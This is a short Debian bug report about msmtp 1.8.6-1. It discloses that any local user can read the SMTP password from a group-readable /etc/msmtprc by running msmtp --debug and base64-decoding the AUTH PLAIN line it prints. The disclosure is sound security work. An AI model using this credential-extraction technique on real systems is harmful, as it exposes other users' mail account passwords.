Package: msmtp
Version: 1.8.6-1
Tags: security
If /etc/msmtprc is readable by group msmtp (as suggested in
README.Debian), any user can acquire password from that file:
$ ls -l /etc/msmtprc
-rw-r----- 1 root msmtp 86 Nov 5 15:06 /etc/msmtprc
$ cat /etc/msmtprc
cat: /etc/msmtprc: Permission denied
$ msmtp --debug [email protected] < /dev/null
loaded system configuration file /etc/msmtprc
ignoring user configuration file /home/jwilk/.msmtprc: No such file or
directory
falling back to default account
using account default from /etc/msmtprc
...
--> AUTH PLAIN AGFsaWNlAGh1bnRlcjI=
...
$ base64 -d <<< 'AGFsaWNlAGh1bnRlcjI=' | tr '\0' ':'; echo
:alice:hunter2
--
Jakub Wilk
